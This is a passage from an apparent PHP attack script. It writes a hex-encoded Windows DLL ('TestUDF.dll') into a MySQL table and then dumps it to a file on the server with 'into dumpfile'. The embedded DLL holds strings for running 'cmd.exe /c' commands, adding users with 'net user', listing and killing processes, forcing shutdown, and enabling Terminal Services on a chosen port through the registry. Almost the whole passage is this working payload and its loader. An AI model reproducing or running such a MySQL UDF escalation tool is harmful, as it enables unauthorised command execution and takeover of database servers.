78D45FC508BCEE82FFDFFFF8B4D0C3B4D1075E25F8B450889085EC9C20C00558BEC5156578B7D0C578BF1E8A8FCFFFF8B76043BC689450C740C8B0F3B480C7C058D450CEB068975FC8D45FC8B088B45085F89085EC9C20800558BEC51515356576A188BF9E8290500008BF05933DB8D4DF8895E04C74614010000008975FCFF15B8400010391D346000107513893534600010891EA134600010895DFC895808FF05386000108D4DF8FF15BC400010395DFC7409FF75FCE8C0040000598B35346000106A18E8C9040000897004895814894704895F0C5989008B47045F5E8940085BC9C3558BEC5356576A188BD9E8A00400008B7510FF75148BF883671400897704A1346000108907A1346000108947088D470C50E812F9FFFF83C40CFF430C3B730474258B450C3B0534600010751A8B45148B003B460C7C10897E088B43043B7008751C897808EB17893E8B43043BF075088978048B4304EBEA3B30750289388B43043B78048BF70F84B00000008B4604837814000F85A30000008B50048B0A3BC175598B4A0883791400751E8B560433C0408942148941148B46048B4004836014008B46048B7004EB673B7008750A8BF0568BCBE8D9FAFFFF8B4604C74014010000008B46048B4004836014008B4604FF70048BCBE8A0F7FFFFEB358379140074AA3B30750A8BF0568BCBE88AF7FFFF8B4604C74014010000008B46048B4004836014008B4604FF70048BCBE881FAFFFF8B43043B70040F8550FFFFFF8B43048B4004C74014010000008B450889385F5E5B5DC21000558BEC51568BF18B46048B0850518D45FC508BCEE857FDFFFFFF7604E8230300008366040083660C00598D4DFC33F6FF15B8400010FF0D38600010750D8B3534600010832534600010008D4DFCFF15BC40001085F6740756E8E7020000595EC9C3558BEC515356578BF98B47048B70048BD8A1346000103BF0B201741C8B4D0C8B093B4E0C8BDE0F9CC284D274048B36EB038B76083BF075E9807F08007405FF750CEB2684D28BCB894DFC74128B47043B1874EB8D4DFCE8CEF6FFFF8B4DFC8B510C8B450C3B107D195053568D450C508BCFE8D5FDFFFF8B088B4508C6400401EB078B4508C64004005F5E89085BC9C20800568BF18D461450FF15704000108D4E045EE9F8FEFFFF558BEC515153568BF18D461457508945F8FF15784000108D4508508D45FC8D5E04508BCBE8B6FCFFFF8B7DFC3B7E0874198B471085C074068B0850FF5108578D4508508BCBE8B1F9FFFFFF75F8FF15744000105F5E5BC9C20400558BEC5151FF750C8D45F850E8EEFEFFFF8B45088B4DF889088A4DFC884804C9C20800568BF18D4E04C6410800E88DFCFFFF8326008D461450FF157C4000108BC65EC3558BEC83EC108B45088B008365FC008945F88D45F8508D45F050E89EFFFFFF8B0083C010C9C20400558BEC518B4518568B75148326008308FF837D0C00894DFC750CA1146000108906E94A010000538B1DCC400010578B7D1068784A0010FF37FFD385C059590F842301000068744A0010FF37FFD385C059590F8410010000E8E2F6FFFF8BF085F6750E8B4514C700644A0010E9FE00000068604A0010FF37FFD385C0595975158D46085057FF750CE809E4FFFF83C40CE99700000068584A0010FF37FFD385C05959750F8D46085057FF750CE84AE4FFFFEBDA684C4A0010FF37FFD385C05959750F57FF750C8D460850E892EDFFFFEBBC68484A0010FF37FFD385C05959750F57FF750C8D460850E850E7FFFFEB9E68404A0010FF37FFD385C05959750F57FF750C8D460850E8FFF1FFFFEB808D7E088B0768284A001057FF50088B0759596AFFFF35146000108BCFFF50048BCEE88BF3FFFF8B4D1489018BCEE8E8F3FFFF8B5DFC8B4D188D7B14578901FF15784000108D4508508D4B04E87CFEFFFF578930FF1574400010EB07A11460001089065F5B33C05EC9C21400FF742404E80200000059C3FF2500410010FF25F4400010FF25F0400010FF25E8400010CCCCCCCCCCCCCCCCCCCC513D001000008D4C2408721481E9001000002D0010000085013D0010000073EC2BC88BC485018BE18B088B400450C3CCFF25C4400010CCCCCCCCCCCCCCCCCCCC6AFF5064A100000000508B44240C64892500000000896C240C8D6C240C50C3CCFF25E0400010FF25DC400010FF25D04000108B44240885C0750E39053C6000107E2EFF0D3C6000108B0D1041001083F8018B09890D40600010753F6880000000FF150841001085C059A348600010750433C0EB66832000A14860001068046000106800600010A344600010E8EA000000FF053C6000105959EB3D85C07539A14860001085C074308B0D44600010568D71FC3BF072128B0E85C97407FFD1A14860001083EE04EBEA50FF150041001083254860001000595E6A0158C20C00558BEC538B5D08568B750C578B7D1085F67509833D3C60001000EB2683FE01740583FE027522A14C60001085C07409575653FFD085C0740C575653E815FFFFFF85C0750433C0EB4E575653E80BE4FFFF83FE0189450C750C85C07537575053E8F1FEFFFF85F6740583FE037526575653E8E0FEFFFF85C0750321450C837D0C007411A14C60001085C07408575653FFD089450C8B450C5F5E5B5DC20C00FF25C8400010FF2524410010FF2518410010FF251C410010FF2520410010FF2538410010FF253C410010FF25344100108D4DDCE9C2E1FFFFB8884A0010E934FEFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BE4F0000AC4F00009C4F0000884F00007A4F0000644F0000504F00003C4F0000244F00000C4F0000DE4F0000D04F000000000000724D0000824D0000904D0000A24D0000B24D0000C84D0000E04D0000F84D0000084E00001E4E0000304E00005E4D00004C4E00005A4E00006E4E00007E4E0000964E0000AE4E0000C64E0000504D00003E4D00002C4D00001C4D0000104D0000FA4C0000EE4C0000E64C0000D64C0000C84C0000B44C00003E4E0000A44C000000000000325000001850000000000000D65000003A51000022510000185100000C51000000510000F4500000EA500000CC500000C2500000B8500000A85000009E50000092500000645000006C500000745000007E5000008850000046510000000000006C510000845100009A5100005651000000000000F04E000000000000E2510000B4510000C451000000000000FC4F00000000000000000000636D642E657865202F6320257300000055736167653A636D6420226E65742075736572220D0A0D0A0000000055736167653A6578656320226E65742075736572220D0A0D0A000000CB120010000000000D0A7073202D6C0920C1D0B3F6CBF9D3D0BDF8B3CC0D0A7073202D6D73206E616D650920C1D0B3F6BCD3D4D8C1CBD6B8B6A8C4A3BFE9C3FBB5C4BDF8B3CC0D0A7073202D6D70207069640920C1D0B3F6D6B8B6A8BDF8B3CCB5C4CBF9D3D0C4A3BFE90D0A7073202D6B70207069640920B9D8B1D5D2BBB8F6BDF8B3CC0D0A7073202D6B6E206E616D650920B9D8B1D5CBF9D3D0D6B8B6A8B5C4BDF8B3CCC3FB0D0A0000002573093C3078252E38583E0D0A0000004D6F64756C65506174680942617365416464726573730D0A0000000025640925735C25730925730D0A000000456E756D50726F6365737365732829206572726F722E0D0A000000005365446562756750726976696C656765000000007073202D6B6E206E616D650D0A7073202D6B70207069640D0A0000007073202D6D73206E616D650D0A7073202D6D70207069640D0A00000052746C41646A75737450726976696C65676500005A7753687574646F776E53797374656D000000004E54444C4C2E444C4C0000004661696C656420546F2053687574646F776E00004661696C656420546F205265626F6F74000000004661696C656420546F204C6F676F66660000000049732054616B696E6720506C6163652E2E2E2E2E2E0D0A00536553687574646F776E50726976696C656765000000000055534147453A0D0A20202020202073687574646F776E205B202D30313233345D0D0A2020202020202D30202020206C6F676F66662E0D0A2020202020202D31202020207265626F6F742E0D0A2020202020202D3220202020706F7765726F66662E0D0A2020202020202D33202020207375706572207265626F6F742E0D0A2020202020202D342020202073757065722073687574646F776E2E0D0A6578616D706C653A0D0A20202020202073687574646F776E202D330D0A0000000077696E7374612E646C6C000057696E53746174696F6E5265736574005554494C444C4C2E646C6C00537472436F6E6E656374537461746500252D3131642020252D3133732020252D3133732020252D3133732020252D313573202025730D0A00202020200000000025642E25642E25642E25640053657373696F6E49442020202053657373696F6E4E616D6520202020557365724E616D6520202020202020436C69656E744E616D6520202020202020495020202020202020202020202020202053746174650D0A00000000456E756D6572617465205465726D696E616C2053657373696F6E73204661696C65642E2025640D0A000000004661696C20546F20536574204E6577205465726D696E616C205365727669636520506F72740D0A00546865205465726D696E616C205365727669636520506F727420486173204265656E2053657420546F2025640D0A00000000000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D54637000000000506F72744E756D62657200006644656E795453436F6E6E656374696F6E73000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C20536572766572000000005453456E61626C656400000053595354454D5C43757272656E74436F6E74726F6C5365745C53657276696365735C5465726D5365727669636500000053595354454D5C43757272656E74436F6E74726F6C5365745C53657276696365735C5465726D44440000000053746172740000005465726D696E616C2053657276696365205374617475733A2025730D0A00000044697361626C656400000000456E61626C6564005265674F70656E4B65794578204572726F722E0D0A0000005465726D696E616C205365727669636520506F72743A2025640D0A00536574204E6577205465726D696E616C2053657276696365204661696C65640D0A000000536574205465726D696E616C20536572766963652044697361626C65640D0A00536574205465726D696E616C205365727669636520456E61626C65642E0D0A006C6F676F666600007175657279000000766965770000000064697361626C6500656E61626C65000070000000000000004445534352495054494F4E3A0D0A202020202020202020202020436F6E666967205465726D696E616C205365727669636520537570706F72747320323030302F78702F323030332E0D0A55534147453A0D0A2020202020207465726D737663202D656E61626C65202D64697361626C65202D76696577202D70203C6E6577706F72743E202D7175657279202D6C6F676F6666203C73657373696F6E2069643E0D0A2020202020202D656E61626C6520202020456E61626C65205465726D696E616C20536572766963652E0D0A2020202020202D64697361626C6520202044697361626C65205465726D696E616C20536572766963652E0D0A2020202020202D7669657720202020202056696577205465726D696E616C20536572766963652053657474696E67732E0D0A2020202020202D70202020202020202020536574204E6577205465726D696E616C205365727669636520506F72742E0D0A6578616D706C653A0D0A2020202020207465726D737663202D71756572790D0A2020202020207465726D737663202D6C6F676F666620310D0A2020202020207465726D737663202D656E61626C65202D7020333339390D0A2020202020207465726D737663202D7020333339390D0A2020202020207465726D737663202D766965770D0A0099210010D1210010E22100100C2200100000000000000000C000000000000046762F0010762F0010762F0010F7230010D5240010F723001099210010D1210010E22100102D2400102E4F4350000000000D0A68656C700D0A436D6420202020202020202D3E0D0A45786563202020202020202D3E0D0A53687574646F776E2020203D3E0D0A70732020202020202020203D3E0D0A5465726D537663202020203D3E0D0A0D0A000000556E6B6E6F776E20436F6D6D616E642E3A28200D0A0D0A005465726D537663007073000073687574646F776E000000004578656300000000436D6400455F4F55544F464D454D4F52590000003F00000068656C7000000000FFFFFFFFFA3000102005931901000000804A0010000000000000000000000000000000008C4B00000000000000000000E24E000034400000844C00000000000000000000004F00002C410000584B00000000000000000000EE4F0000004000009C4C000000000000000000000E50000044410000104C000000000000000000004C500000B84000001C4C000000000000000000002E510000C4400000704C00000000000000000000AA510000184100008C4C00000000000000000000FA510000344100000000000000000000000000000000000000000000BE4F0000AC4F00009C4F0000884F00007A4F0000644F0000504F00003C4F0000244F00000C4F0000DE4F0000D04F000000000000724D0000824D0000904D0000A24D0000B24D0000C84D0000E04D0000F84D0000084E00001E4E0000304E00005E4D00004C4E00005A4E00006E4E00007E4E0000964E0000AE4E0000C64E0000504D00003E4D00002C4D00001C4D0000104D0000FA4C0000EE4C0000E64C0000D64C0000C84C0000B44C00003E4E0000A44C000000000000325000001850000000000000D65000003A51000022510000185100000C51000000510000F4500000EA500000CC500000C2500000B8500000A85000009E50000092500000645000006C500000745000007E5000008850000046510000000000006C510000845100009A5100005651000000000000F04E000000000000E2510000B4510000C451000000000000FC4F00000000000071025365744C6173744572726F7200009E025465726D696E61746550726F6365737300001B00436C6F736548616E646C65001A014765744C6173744572726F7200009602536C65657000DF02577269746546696C6500CE0257616974466F7253696E676C654F626A6563740018025265616446696C650000F9015065656B4E616D65645069706500440043726561746550726F63657373410000500147657453746172747570496E666F41004300437265617465506970650000F70047657443757272656E7450726F63657373006D014765745469636B436F756E740000EF014F70656E50726F63657373003E0147657450726F63416464726573730000C2014C6F61644C696272617279410000D2025769646543686172546F4D756C74694279746500B001496E7465726C6F636B6564496E6372656D656E740000AD01496E7465726C6F636B656444656372656D656E740000D6014D6170566965774F6646696C6500350043726561746546696C654D617070696E67410000B002556E6D6170566965774F6646696C6500120147657446696C6553697A6500570044656C65746546696C654100340043726561746546696C654100630147657454656D7046696C654E616D65410000650147657454656D7050617468410000550044656C657465437269746963616C53656374696F6E00C1014C65617665437269746963616C53656374696F6E00006600456E746572437269746963616C53656374696F6E0000AA01496E697469616C697A65437269746963616C53656374696F6E004B45524E454C33322E646C6C0000D3004578697457696E646F77734578005553455233322E646C6C0000170041646A757374546F6B656E50726976696C6567657300F5004C6F6F6B757050726976696C65676556616C7565410042014F70656E50726F63657373546F6B656E0000EF004C6F6F6B75704163636F756E745369644100D000476574546F6B656E496E666F726D6174696F6E005B01526567436C6F73654B6579007B01526567517565727956616C7565457841000072015265674F70656E4B657945784100860152656753657456616C75654578410000640152656744656C65746556616C7565410071015265674F70656E4B657941005E015265674372656174654B6579410041445641504933322E646C6C00002E00436F496E697469616C697A65457800006F6C6533322E646C6C000B013F3F315F4C6F636B697440737464404051414540585A0000A2003F3F305F4C6F636B697440737464404051414540585A00004D5356435036302E646C6C005753325F33322E646C6C00003D0261746F6900005E02667265650000B202737072696E74660091026D616C6C6F63000059015F6D6273636D70005F015F6D627369636D700000BE027374726C656E00000F003F3F3240594150415849405A0000C502737472737472000099026D656D7365740000E6027763736C656E000049005F5F4378784672616D6548616E646C65720096026D656D636D70000092015F7075726563616C6C00AD027365746C6F63616C6500DC0276737072696E74660000BA027374726370790000C1015F73747269636D7000004D53564352542E646C6C00000F015F696E69747465726D009D005F61646A7573745F6664697600000C004765744D6F64756C65426173654E616D654100000E004765744D6F64756C6546696C654E616D6545784100000400456E756D50726F636573734D6F64756C657300000500456E756D50726F6365737365730050534150492E444C4C000800575453467265654D656D6F7279000C00575453517565727953657373696F6E496E666F726D6174696F6E41000600575453456E756D657261746553657373696F6E73410057545341504933322E646C6C000057494E494E45542E646C6C0000000000000000000000000000000000BFC7514B00000000665200000100000003000000030000004852000054520000605200003314000020140000F4130000725200007852000085520000000001000200546573745544462E646C6C007368656C6C007368656C6C5F6465696E6974007368656C6C5F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000D0490010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000140100000F30163039304E305D307330C430F630043110313F3166317C319C31A531BD31F6310F3231323B3242325A327432B332C632D532193336338733A433F833013407340D34293439349634B234C334DB34033510356D357E359D351436CD36D436DC360137373723383238623874389D38B8382B3969398D39AF39E839013A113A403A483A5D3A713A803ACE3ADF3AE53AF33AF83A063B403B503B693B723B823B8B3B9B3BA43BE43B033C123C1B3C203C263C2D3C343C4A3C533C583C5E3C653C6C3CA53CAB3CC43C333D443D683D6F3D7C3D833D9F3DFC3D013E1E3E2C3E4F3E553E803E9E3EA33EC63EEF3EF63E023F203F403F573F603F713F813F8C3F963FBF3FC53FDC3FF63FFF3F000000200000F0000000283051305830653076308E30B230D230E130F53012312C3146315D317231A431DB31EE3116323C32533268328532A832B332BE32D432F43245336D33B633BB33C233C933CF33143456345D34663475349E34A4341935413555358435AE35C335D5350C36473675369336BC36EE368B37B637F0383739E839EE39F639FD39093A123A263A6A3A713A913AD03BD63BDE3BE43BEE3B123C9A3CBA3CF63C3C3D873D953D9E3DB13DD33DDD3D013E1F3E3D3E5B3E7E3E8E3EB83ECD3ED43EF03EF63EFC3E023F423F723F783F7E3F8C3F943F9A3FA53FB23FBA3FC83FCD3FD23FD73FE23FEF3FF93F000000300000280000000E301A30203042305430B030CC30D230D830DE30E430EA30F030F63003310000004000002C00000098318039843988398C39A039A439A839AC39B039B439B839BC39C039C439843A903A0000006000000C00000014300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,CHAR))'); 277 | if (mysql_errno($conn) != 0) { 278 | echo mysql_error().'
'; 279 | mysql_close($conn); 280 | exit(); 281 | } 282 | mysql_query('select c from udftmp into dumpfile "'.$path.'"'); 283 | if (mysql_errno($conn) != 0) { 284 | echo mysql_error(). '
'; 285 | mysql_query('drop table udftmp'); 286 | mysql_close($conn); 287 | exit(); 288 | } 289 | mysql_query('drop table udftmp'); 290 | if (mysql_errno($conn) !=0) 291 | echo 'Dump DLL Failed.'.mysql_error(); 292 | else 293 | echo 'Dump DLL Success!'; 294 | mysql_close($conn); 295 | } 296 | ?> 297 | 298 | --------------------------------------------------------------------------------